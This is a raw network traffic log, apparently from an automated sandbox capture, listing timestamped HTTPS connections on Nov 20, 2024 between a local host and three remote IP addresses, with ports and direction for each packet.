Nov 20, 2024 08:12:27.693006039 CET	443	49780	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.693037987 CET	443	49776	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.693114996 CET	49780	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.693114042 CET	49776	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.693305016 CET	49776	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.693320990 CET	443	49776	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.693329096 CET	49780	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.693331003 CET	49776	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.693336964 CET	443	49776	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.693340063 CET	443	49780	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.697053909 CET	49781	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.697091103 CET	443	49781	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.697150946 CET	49781	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.697638988 CET	49781	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.697653055 CET	443	49781	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.900369883 CET	49782	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:27.900420904 CET	443	49782	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:27.900511026 CET	49782	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:27.901000977 CET	49782	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:27.901016951 CET	443	49782	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:28.184372902 CET	443	49777	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.191329002 CET	49777	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.191360950 CET	443	49777	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.191838026 CET	49777	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.191843987 CET	443	49777	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.288213015 CET	443	49777	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.288291931 CET	443	49777	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.288348913 CET	49777	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.289392948 CET	49777	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.289392948 CET	49777	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.289418936 CET	443	49777	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.289428949 CET	443	49777	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.294553041 CET	49783	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.294604063 CET	443	49783	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.294672966 CET	49783	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.294836044 CET	49783	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.294856071 CET	443	49783	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.328859091 CET	443	49778	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.329529047 CET	49778	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.329552889 CET	443	49778	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.330003977 CET	49778	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.330009937 CET	443	49778	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.341742039 CET	443	49781	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.342272043 CET	49781	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.342288971 CET	443	49781	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.342854023 CET	49781	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.342860937 CET	443	49781	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.354856968 CET	443	49779	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.355348110 CET	49779	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.355381012 CET	443	49779	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.355859041 CET	49779	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.355865002 CET	443	49779	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.356070995 CET	443	49780	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.356509924 CET	49780	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.356528044 CET	443	49780	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.356897116 CET	49780	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.356903076 CET	443	49780	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.359055996 CET	443	49782	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:28.359122038 CET	49782	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:28.360280037 CET	49782	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:28.360296965 CET	443	49782	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:28.360522985 CET	443	49782	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:28.361773014 CET	49782	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:28.362020969 CET	49782	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:28.362030029 CET	443	49782	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:28.429050922 CET	443	49778	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.429218054 CET	443	49778	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.429303885 CET	49778	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.432518005 CET	49778	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.432553053 CET	443	49778	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.432581902 CET	49778	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.432590008 CET	443	49778	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.435717106 CET	49784	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.435764074 CET	443	49784	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.435899973 CET	49784	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.436120033 CET	49784	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.436135054 CET	443	49784	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.440177917 CET	443	49781	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.440249920 CET	443	49781	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.440447092 CET	49781	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.440643072 CET	49781	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.440658092 CET	443	49781	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.444473028 CET	49785	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.444520950 CET	443	49785	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.444998026 CET	49785	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.452378988 CET	49785	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.452394009 CET	443	49785	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.458120108 CET	443	49779	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.458194017 CET	443	49779	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.458266020 CET	49779	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.458914042 CET	443	49780	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.458976030 CET	443	49780	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.459022045 CET	49780	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.459430933 CET	49779	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.459446907 CET	443	49779	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.459458113 CET	49779	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.459464073 CET	443	49779	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.459512949 CET	49780	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.459523916 CET	443	49780	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.459548950 CET	49780	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.459553957 CET	443	49780	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.469043970 CET	49786	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.469073057 CET	443	49786	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.469188929 CET	49786	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.470021963 CET	49786	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.470032930 CET	443	49786	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.471427917 CET	49787	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.471461058 CET	443	49787	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.471517086 CET	49787	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.471687078 CET	49787	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.471702099 CET	443	49787	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.798016071 CET	443	49782	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:28.798104048 CET	443	49782	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:28.798166037 CET	49782	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:28.798386097 CET	49782	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:28.798405886 CET	443	49782	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:28.805665016 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:28.805704117 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:28.805778027 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:28.807449102 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:28.807459116 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:28.985409975 CET	443	49783	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.985928059 CET	49783	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.985949039 CET	443	49783	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:28.986418962 CET	49783	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:28.986426115 CET	443	49783	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.087342024 CET	443	49783	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.087415934 CET	443	49783	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.087562084 CET	49783	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.087807894 CET	49783	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.087826014 CET	443	49783	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.087838888 CET	49783	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.087846994 CET	443	49783	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.090537071 CET	49790	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.090573072 CET	443	49790	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.090676069 CET	49790	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.091053009 CET	49790	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.091062069 CET	443	49790	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.100971937 CET	443	49786	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.101438999 CET	49786	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.101455927 CET	443	49786	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.102329016 CET	49786	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.102334023 CET	443	49786	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.110060930 CET	443	49784	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.110874891 CET	49784	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.110874891 CET	49784	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.110893965 CET	443	49784	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.110903978 CET	443	49784	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.121212006 CET	443	49785	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.121228933 CET	443	49787	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.121575117 CET	49785	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.121607065 CET	443	49785	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.122061014 CET	49785	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.122071028 CET	443	49785	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.122271061 CET	49787	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.122281075 CET	443	49787	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.122687101 CET	49787	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.122693062 CET	443	49787	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.200606108 CET	443	49786	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.200683117 CET	443	49786	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.200792074 CET	49786	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.200994015 CET	49786	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.201011896 CET	443	49786	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.201021910 CET	49786	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.201028109 CET	443	49786	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.203304052 CET	49791	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.203367949 CET	443	49791	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.203437090 CET	49791	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.203588963 CET	49791	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.203602076 CET	443	49791	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.215214014 CET	443	49784	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.215289116 CET	443	49784	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.216023922 CET	49784	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.216089964 CET	49784	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.216109991 CET	443	49784	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.216125965 CET	49784	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.216130972 CET	443	49784	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.222270966 CET	443	49787	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.222332001 CET	443	49787	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.222424030 CET	49787	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.222573042 CET	49787	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.222587109 CET	443	49787	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.222610950 CET	49787	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.222615957 CET	443	49787	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.236527920 CET	443	49785	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.236593962 CET	443	49785	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.236695051 CET	49785	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.238485098 CET	49785	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.238504887 CET	443	49785	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.238528013 CET	49785	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.238542080 CET	443	49785	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.242856979 CET	49792	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.242892981 CET	443	49792	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.244024038 CET	49793	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.244052887 CET	443	49793	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.244055033 CET	49792	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.244661093 CET	49794	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.244676113 CET	443	49794	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.244687080 CET	49793	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.244719028 CET	49794	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.244847059 CET	49793	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.244863987 CET	443	49793	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.245029926 CET	49792	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.245048046 CET	443	49792	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.245110989 CET	49794	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.245119095 CET	443	49794	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.494282961 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:29.494359970 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:29.497806072 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:29.497823954 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:29.498063087 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:29.539282084 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:29.666241884 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:29.711338043 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:29.725589991 CET	443	49790	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.774382114 CET	49790	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:29.837588072 CET	443	49791	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:29.883050919 CET	49791	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.046024084 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:30.046053886 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:30.046061993 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:30.046075106 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:30.046103001 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:30.046122074 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:30.046140909 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:30.046175957 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:30.046207905 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:30.066126108 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:30.066216946 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:30.066237926 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:30.066283941 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:30.075895071 CET	49790	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.075918913 CET	443	49790	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.076617956 CET	49790	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.076622963 CET	443	49790	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.077662945 CET	49791	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.077728033 CET	443	49791	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.078048944 CET	49791	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.078062057 CET	443	49791	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.079299927 CET	443	49794	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.083646059 CET	443	49793	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.084158897 CET	443	49792	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.133070946 CET	49793	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.133081913 CET	49794	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.133081913 CET	49792	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.173099041 CET	443	49790	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.173266888 CET	443	49790	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.173377037 CET	49790	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.174851894 CET	443	49791	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.175019979 CET	443	49791	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.175080061 CET	49791	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.360326052 CET	49794	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.360326052 CET	49794	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.360353947 CET	443	49794	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.360363960 CET	443	49794	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.394957066 CET	49791	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.394957066 CET	49791	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.395040989 CET	443	49791	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.395045996 CET	49793	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.395072937 CET	443	49793	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.395083904 CET	443	49791	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.395714045 CET	49793	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.395719051 CET	443	49793	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.407263041 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:30.407295942 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:30.407309055 CET	49788	443	192.168.2.6	20.109.210.53
Nov 20, 2024 08:12:30.407324076 CET	443	49788	20.109.210.53	192.168.2.6
Nov 20, 2024 08:12:30.412002087 CET	49792	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.412029982 CET	443	49792	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.412480116 CET	49792	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.412487030 CET	443	49792	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.412671089 CET	49790	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.412704945 CET	443	49790	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.412725925 CET	49790	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.412734032 CET	443	49790	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.415245056 CET	49795	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.415277958 CET	443	49795	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.415343046 CET	49795	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.415705919 CET	49795	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.415719032 CET	443	49795	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.416404963 CET	49796	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.416438103 CET	443	49796	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.416491032 CET	49796	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.416661978 CET	49796	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.416676044 CET	443	49796	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.452281952 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.452328920 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.452389956 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.452718973 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.452740908 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.458137989 CET	443	49794	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.458391905 CET	443	49794	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.458540916 CET	49794	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.458739996 CET	49794	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.458760023 CET	443	49794	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.458801985 CET	49794	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.458811045 CET	443	49794	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.462412119 CET	49799	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.462446928 CET	443	49799	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.462501049 CET	49799	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.463109016 CET	49799	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.463121891 CET	443	49799	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.494473934 CET	443	49793	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.494654894 CET	443	49793	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.494710922 CET	49793	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.494935036 CET	49793	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.494951010 CET	443	49793	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.494961977 CET	49793	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.494967937 CET	443	49793	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.498179913 CET	49800	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.498228073 CET	443	49800	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.498292923 CET	49800	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.498481035 CET	49800	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.498492956 CET	443	49800	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.512564898 CET	443	49792	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.513020039 CET	443	49792	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.513070107 CET	49792	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.513159037 CET	49792	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.513159037 CET	49792	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.513174057 CET	443	49792	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.513185024 CET	443	49792	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.515852928 CET	49801	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.515897036 CET	443	49801	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.515958071 CET	49801	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.516144037 CET	49801	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:30.516158104 CET	443	49801	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:30.938558102 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.938628912 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.939868927 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.939887047 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.940121889 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.941394091 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.942193985 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.942220926 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.942322969 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.942347050 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.942451000 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.942481995 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:30.942600965 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:30.942631006 CET	443	49798	188.114.97.3	192.168.2.6
